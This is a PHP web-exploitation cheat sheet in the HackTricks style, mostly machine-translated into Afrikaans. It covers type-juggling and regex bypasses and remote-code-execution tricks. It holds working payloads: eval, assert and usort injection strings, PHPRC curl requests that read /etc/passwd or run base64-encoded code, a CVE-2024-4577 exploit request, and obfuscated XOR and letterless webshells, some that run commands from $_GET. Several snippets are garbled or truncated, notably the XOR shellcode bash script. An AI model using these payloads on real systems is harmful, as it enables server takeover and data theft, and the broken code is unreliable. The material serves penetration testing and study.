PHP Tricks

Ondersteun HackTricks

Koekies algemene ligging:

Dit geld ook vir phpMyAdmin koekies.

Koekies:

PHPSESSID
phpMyAdmin

Ligginge:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Om PHP vergelykings te omseil

Los vergelykings/Tipe Juggling ( == )

As == in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag optree nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy === gebruik.

PHP vergelykingstabelle: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer

  • "0xAAAA" == "43690" -> True Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer)

  • "0e3264578" == 0 --> True 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0

  • "0X3264578" == 0X --> True 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0

  • "0e12334" == "0" --> True Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehasht word en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan reeds gehasht strings met hierdie formaat hier vind: https://github.com/spaze/hashes

  • "X" == 0 --> True Enige letter in 'n string is gelyk aan int 0

Meer inligting in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tipe Juggling beïnvloed ook die in_array() funksie standaard (jy moet die derde argument op true stel om 'n strikte vergelyking te maak):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

As hierdie funksie gebruik word vir enige outentikasie kontrole (soos om die wagwoord te kontroleer) en die gebruiker een kant van die vergelyking beheer, kan hy 'n leë array in plaas van 'n string as die waarde van die wagwoord stuur (https://example.com/login.php/?username=admin&password[]=) en hierdie kontrole omseil:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Die dieselfde fout gebeur met strcasecmp()

Strikte tipe Juggling

Selfs al word === gebruik kan daar foute wees wat die vergelyking kwesbaar maak vir tipe juggling. Byvoorbeeld, as die vergelyking die data na 'n ander tipe objek omskakel voordat dit vergelyk:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() kan gebruik word om gebruikersinvoer te valideer (dit kontroleer of enige woord/regex van 'n swartlys teenwoordig is in die gebruikersinvoer en as dit nie is nie, kan die kode sy uitvoering voortset).

Nuwe lyn omseiling

E however, wanneer die begin van die regexp preg_match() slegs die eerste lyn van die gebruikersinvoer kontroleer, dan as jy op een of ander manier die invoer in verskeie lyne kan stuur, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Om hierdie kontrole te omseil, kan jy die waarde met nuwe lyne urlencoded stuur (%0A) of as jy JSON-data kan stuur, stuur dit in verskeie lyne:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

Lengte fout omseiling

(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie) As jy preg_match() 'n geldige baie groot invoer kan stuur, sal dit nie in staat wees om dit te verwerk nie en jy sal in staat wees om die omseiling van die kontrole te doen. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

In kort gebeur die probleem omdat die preg_* funksies in PHP op die PCRE biblioteek bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet standaard op 100.000 wat meer is as wat in die stapel pas.

Hierdie Stackoverflow draad is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik: Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die preg_match() funksie laat terugkeer false en dus die aansoek laat dink dat ons invoer nie kwaadwillig is nie, wat die verrassing aan die einde van die payload iets soos {system(<verybadcommand>)} laat wees om SSTI --> RCE --> vlag :).

Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die PHP dokumentasie sê, standaard op 1_000_000 (1M) in die pcre.backtrack_limit veranderlike is. Om dit te bereik, sal 'X'*500_001 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipe Juggling vir PHP obfuskerings

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

As PHP na 'n ander bladsy herlei, maar geen die of exit funksie word na die kop Location gestel nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Pad Traversal en Lêer Insluiting Exploitatie

Kontroleer:

File Inclusion/Path traversal

Meer truuks

  • register_globals: In PHP < 4.1.1.1 of as verkeerd geconfigureer, kan register_globals aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $_GET as hulle 'n waarde het bv. $_GET["param"]="1234", kan jy dit toegang via $param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes wat binne die kode gebruik word oorskryf.

  • Die PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor, daarom as binne 'n domein verskillende koekies in verskillende paaie gebruik word kan jy maak dat 'n pad die koekie van die pad toegang gee deur die waarde van die ander pad koekie in te stel. Op hierdie manier, as albei paaie toegang het tot 'n veranderlike met dieselfde naam kan jy maak dat die waarde van daardie veranderlike in pad1 van toepassing is op pad2. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2).

  • Wanneer jy die gebruikersname van die gebruikers van die masjien het. Kontroleer die adres: /~<USERNAME> om te sien of die php gidse geaktiveer is.

password_hash/password_verify

Hierdie funksies word tipies in PHP gebruik om hashes van wagwoorde te genereer en om te kontroleer of 'n wagwoord korrek is in vergelyking met 'n hash. Die ondersteunde algoritmes is: PASSWORD_DEFAULT en PASSWORD_BCRYPT (begin met $2y$). Let daarop dat PASSWORD_DEFAULT dikwels dieselfde is as PASSWORD_BCRYPT. En tans het PASSWORD_BCRYPT 'n grootte beperking in die invoer van 72bytes. Daarom, wanneer jy probeer om iets groter as 72bytes met hierdie algoritme te hash, sal slegs die eerste 72B gebruik word:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers omseil deur PHP foute te misbruik

Fout veroorsaak na instel van headers

Van hierdie twitter draad kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.

Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Vul 'n liggaam in voordat jy koptekste stel

As 'n PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee, kan die gebruiker die PHP-bediener dwing om 'n inhoud lank genoeg te druk sodat wanneer dit probeer om die koptekste in die antwoord by te voeg, die bediener 'n fout sal gooi. In die volgende scenario het die aanvaller die bediener gedwing om groot foute te gooi, en soos jy in die skerm kan sien, toe php probeer het om die koptekst-inligting te wysig, kon dit nie (soos byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):

SSRF in PHP-funksies

Kyk na die bladsy:

PHP SSRF

Kode-uitvoering

system("ls"); `ls`; shell_exec("ls");

Kontroleer dit vir meer nuttige PHP-funksies

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Om die kode in die "replace" argument uit te voer, is ten minste een ooreenkoms nodig. Hierdie opsie van preg_replace is verouderd sedert PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Hierdie funksie binne php laat jou toe om kode wat in 'n string geskryf is uit te voer ten einde waar of vals te retourneer (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld: assert("strpos($_GET['page']),'..') === false") --> In hierdie geval om RCE te verkry kan jy doen:

?page=a','NeVeR') === false and system('ls') and strpos('a

U sal die kode syntaksis moet breek, u payload byvoeg, en dit dan weer regmaak. U kan logiese operasies soos "and" of "%26%26" of "|" gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.

Ander opsie is om die uitvoering van die opdrag aan die string toe te voeg: '.highlight_file('.passwd').'

Ander opsie (as u die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: $file = "hola"

RCE via usort()

Hierdie funksie word gebruik om 'n reeks items te sorteer met behulp van 'n spesifieke funksie. Om hierdie funksie te misbruik:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

To discover the number of parenthesis that you need to close:

  • ?order=id;}//: ons kry 'n foutboodskap (Parse error: syntax error, unexpected ';'). Ons mis waarskynlik een of meer hakies.

  • ?order=id);}//: ons kry 'n waarskuwing. Dit lyk reg.

  • ?order=id));}//: ons kry 'n foutboodskap (Parse error: syntax error, unexpected ')' i). Ons het waarskynlik te veel sluitende hakies.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.

  • LD_PRELOAD: Hierdie omgewingsvariabele laat jou toe om arbitrêre biblioteke te laai wanneer jy ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).

  • PHPRC : Gee PHP instruksies oor waar om sy konfigurasie lêer te vind, gewoonlik genoem php.ini. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan PHPRC om PHP daarop te wys. Voeg 'n auto_prepend_file inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale PHP kode, wat dan uitgevoer word deur die PHP runtime voordat enige ander kode.

  1. Laai 'n PHP-lêer op wat ons shellcode bevat

  2. Laai 'n tweede lêer op, wat 'n auto_prepend_file riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer

  3. Stel die PHPRC variabele in op die lêer wat ons in stap 2 opgelaai het.

  • Kry meer inligting oor hoe om hierdie ketting uit te voer uit die oorspronklike verslag.

  • PHPRC - 'n ander opsie

  • As jy nie lêers kan oplaai nie, kan jy in FreeBSD die "lêer" /dev/fd/0 gebruik wat die stdin bevat, wat die liggaam van die versoek is wat na die stdin gestuur is:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Of om RCE te kry, stel allow_url_include in en voeg 'n lêer met base64 PHP kode voor:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

XAMPP CGI RCE - CVE-2024-4577

The webserver parses HTTP requests and passes them to a PHP script executing a request such as as http://host/cgi.php?foo=bar as php.exe cgi.php foo=bar, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:

-d allow_url_include=1 -d auto_prepend_file=php://input

Boonop, dit is moontlik om die "-" param te injekteer met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van hierdie pos:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization omseiling & Brain Fuck

In hierdie pos is dit moontlik om wonderlike idees te vind om 'n brain fuck PHP-kode te genereer met baie min karakters wat toegelaat word. Boonop word daar ook 'n interessante manier voorgestel om funksies uit te voer wat hulle in staat gestel het om verskeie kontroles te omseil:

(1)->{system($_GET[chr(97)])}

PHP Statiese analise

Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van hier):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktief maak in /etc/php5/apache2/php.ini deur display_errors = On by te voeg en apache te herbegin: sudo systemctl restart apache2

Deobfuscating PHP code

Jy kan die web www.unphp.net gebruik om php-kode te deobfuskeer.

PHP Wrappers & Protocols

PHP Wrappers en protokolle kan jou toelaat om skrywe en lees beskermings in 'n stelsel te omseil en dit te kompromitteer. Vir meer inligting, kyk na hierdie bladsy.

Xdebug unauthenticated RCE

As jy sien dat Xdebug geaktiveer is in 'n phpconfig() uitvoer, moet jy probeer om RCE te verkry via https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE wat nuwe $_GET["a"]($_GET["b") misbruik

As jy op 'n bladsy 'n nuwe objek van 'n arbitrêre klas kan skep, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Voer PHP uit sonder letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Gebruik oktale

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR maklik shell code

Volgens hierdie skrywe is dit moontlik om 'n maklike shellcode op hierdie manier te genereer:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

So, as jy arbitraire PHP kan uitvoer sonder nommers en letters kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Vir 'n meer diepgaande verduideliking, kyk https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (binne eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl soos

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Ondersteun HackTricks

Last updated